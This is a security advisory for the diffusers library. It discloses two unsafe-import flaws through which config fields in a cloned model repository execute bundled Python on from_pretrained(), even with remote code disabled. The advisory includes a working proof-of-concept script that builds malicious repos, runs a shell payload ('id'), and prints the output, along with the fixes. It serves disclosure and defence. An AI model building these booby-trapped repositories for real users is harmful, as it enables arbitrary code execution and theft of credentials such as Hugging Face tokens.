Skip to content

RCE: a module name from a model repo's own config reaches importlib on from_pretrained(), with trust_remote_code=False

High
DN6 published GHSA-4prv-5hj7-c2xr Oct 27, 2026

Package

pip diffusers (pip)

Affected versions

<= 0.42.0

Patched versions

0.42.1

Description

Summary

Two fields in a model repository are used as Python module paths and passed to the import machinery unvalidated, so a .py file shipped in that repository executes on a default-argument from_pretrained().

  • model_index.json / modular_model_index.json → component ["<library>", "<class>"], element [0] → importlib.import_module() — pipelines/pipeline_loading_utils.py:433 (same sink at :390, :351)
  • modular_config.json → "requirements" dict keys → importlib.util.find_spec() — utils/import_utils.py:63, via modular_pipelines/modular_pipeline_utils.py:1013

trust_remote_code=False and DIFFUSERS_DISABLE_REMOTE_CODE=1 stop neither. No weights, no pickle, no auto_map.

Two separate patch points: fixing one leaves the other live.

Details

Version: 0.41.0 (clean pip install diffusers==0.41.0); also main @ 916a5791e.

Entry points: DiffusionPipeline.from_pretrained, AutoModel.from_pretrained, ModularPipeline.from_pretrained, ModularPipelineBlocks.from_pretrained — all with default arguments.

Precondition: the repository directory must be importable from a sys.path root. True when the victim does git clone / hf download --local-dir and runs a script from the parent directory. Not reachable on a cold Hub-id load; PYTHONSAFEPATH=1 blocks it.

Sink 1 — pipelines/pipeline_loading_utils.py:422-433. Three sibling branches consume the same artifact-supplied library_name; the middle one gates it, the else imports it:

elif component_folder and os.path.isfile(os.path.join(component_folder, library_name + ".py")):
    class_obj = get_class_from_dynamic_module(
        component_folder, module_file=library_name + ".py",
        class_name=class_name, trust_remote_code=trust_remote_code,   # gated
    )
else:
    library = importlib.import_module(library_name)                   # :433 — not gated

Same payload at <component>/mycustom.py is refused naming trust_remote_code; moved one directory up with a dotted name in the same JSON field, it executes.

The allow-list for this field already exists in the same file (LOADABLE_CLASSES, :70-89) and is already applied to it at :1062-1064 — but only inside DiffusionPipeline.download, so the local-directory branch and the newer entry points never inherit it.

Sink 2 — modular_pipelines/modular_pipeline.py:497-513. The gate's own trigger is read from the attacker's file, so it is False and the gate never fires; the sink runs five lines earlier:

config = cls.load_config(pretrained_model_name_or_path, **hub_kwargs)
has_remote_code = "auto_map" in config and cls.__name__ in config["auto_map"]   # False — no auto_map shipped
trust_remote_code = resolve_trust_remote_code(..., has_remote_code)             # returns False, no raise
if "requirements" in config and config["requirements"] is not None:
    _ = _validate_requirements(config["requirements"])     # <-- executes here
class_ref = config["auto_map"][cls.__name__]               # KeyError: 'auto_map'
block_cls = get_class_from_dynamic_module(..., trust_remote_code=...)   # real gate, never reached

_validate_requirements strips whitespace and nothing else (modular_pipeline_utils.py:1051), then calls find_spec. find_spec("a.b.c") imports every parent, so a key one component deeper than the attacker's package runs that package's __init__.py.

Fix:

  1. Validate library_name against LOADABLE_CLASSES / diffusers.pipelines immediately before each of the three importlib.import_module calls.
  2. Resolve requirements keys with importlib.metadata instead of importlib.util.find_spec, so an artifact-derived name never reaches the import system. A PEP 503 name check alone is not enough — evilrepo.evilpkg.anything is a legal distribution name.

Both implemented and verified here; happy to open a PR.

Proof of concept

Runs on a clean install. Both sinks, kill switch deliberately ON.

python3 -m venv v
v/bin/pip install "diffusers==0.41.0" torch transformers safetensors
mkdir repro && cd repro

PAYLOAD='import os, subprocess
open(os.environ["M"], "a").write("EXECUTED %s | DIFFUSERS_DISABLE_REMOTE_CODE=%r | id: %s\n" % (
    __name__, os.environ.get("DIFFUSERS_DISABLE_REMOTE_CODE"),
    subprocess.run(["/bin/sh","-c","id"], capture_output=True, text=True).stdout.strip()))'

# sink 1: model_index.json component "library" -> importlib.import_module
mkdir -p evilrepo/unet
printf '%s\n' "$PAYLOAD" > evilrepo/payload.py
cat > evilrepo/model_index.json <<'EOF'
{"_class_name": "StableDiffusionPipeline", "_diffusers_version": "0.41.0",
 "unet": ["evilrepo.payload", "UNet2DConditionModel"]}
EOF
echo '{"_class_name": "UNet2DConditionModel"}' > evilrepo/unet/config.json

# sink 2: modular_config.json "requirements" KEY -> importlib.util.find_spec
mkdir -p evilrepoB/evilpkg
printf '%s\n' "$PAYLOAD" > evilrepoB/evilpkg/__init__.py
cat > evilrepoB/modular_config.json <<'EOF'
{"_class_name": "SequentialPipelineBlocks", "_diffusers_version": "0.41.0",
 "requirements": {"evilrepoB.evilpkg.anything": ">=1.0"}}
EOF

M=/tmp/ace_A HF_HUB_OFFLINE=1 DIFFUSERS_DISABLE_REMOTE_CODE=1 ../v/bin/python -c "
from diffusers import DiffusionPipeline
try: DiffusionPipeline.from_pretrained('evilrepo')
except Exception as e: print('victim saw:', type(e).__name__, str(e)[:110])"
cat /tmp/ace_A

M=/tmp/ace_B HF_HUB_OFFLINE=1 DIFFUSERS_DISABLE_REMOTE_CODE=1 ../v/bin/python -c "
from diffusers.modular_pipelines import ModularPipelineBlocks
try: ModularPipelineBlocks.from_pretrained('./evilrepoB', trust_remote_code=False)
except Exception as e: print('victim saw:', type(e).__name__, str(e)[:110])"
cat /tmp/ace_B

Output, on diffusers 0.41.0 / torch 2.14.1 / transformers 5.20.1 / huggingface_hub 1.33.0 / CPython 3.12.13 / macOS arm64, 2026-10-17:

=== sink 1 ===
victim saw: AttributeError module 'evilrepo.payload' has no attribute 'UNet2DConditionModel'
EXECUTED evilrepo.payload | DIFFUSERS_DISABLE_REMOTE_CODE='1' | id: uid=501(...) gid=20(staff) ...

=== sink 2 ===
Downloading remote code is disabled globally via the DIFFUSERS_DISABLE_REMOTE_CODE environment variable. Ignoring `trust_remote_code`.
evilrepoB.evilpkg.anything was specified in the requirements but wasn't found in the current environment.
victim saw: KeyError 'auto_map'
EXECUTED evilrepoB.evilpkg | DIFFUSERS_DISABLE_REMOTE_CODE='1' | id: uid=501(...) gid=20(staff) ...

The exception arrives after the module body has run — it is the load failing on the attacker's class, not a refusal. Via ModularPipeline.from_pretrained, sink 1 returns normally with no exception or warning.

Impact

Arbitrary code execution as the victim's uid, at from_pretrained() time, before any weight is read. The payload ran /bin/sh -c id and the output is in the evidence above — so: the HF token in ~/.cache/huggingface, read/write on the victim's source tree and model cache, outbound network, persistence.

The victim is anyone who clones or --local-dir downloads a community pipeline and runs a script from that working tree. They get this with trust_remote_code at its default or explicitly False, with DIFFUSERS_DISABLE_REMOTE_CODE=1 set, and with no weights loaded at all — so use_safetensors=True and a pinned revision are not in the path either.

Severity

High

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Local
Attack complexity
High
Privileges required
None
User interaction
Required
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
High

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:L/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H

CVE ID

No known CVE

Weaknesses

Use of Externally-Controlled Input to Select Classes or Code ('Unsafe Reflection')

The product uses external input with reflection to select which classes or code to use, but it does not sufficiently prevent the input from selecting improper classes or code. Learn more on MITRE.

Inclusion of Functionality from Untrusted Control Sphere

The product imports, requires, or includes executable functionality (such as a library) from a source that is outside of the intended control sphere. Learn more on MITRE.

Credits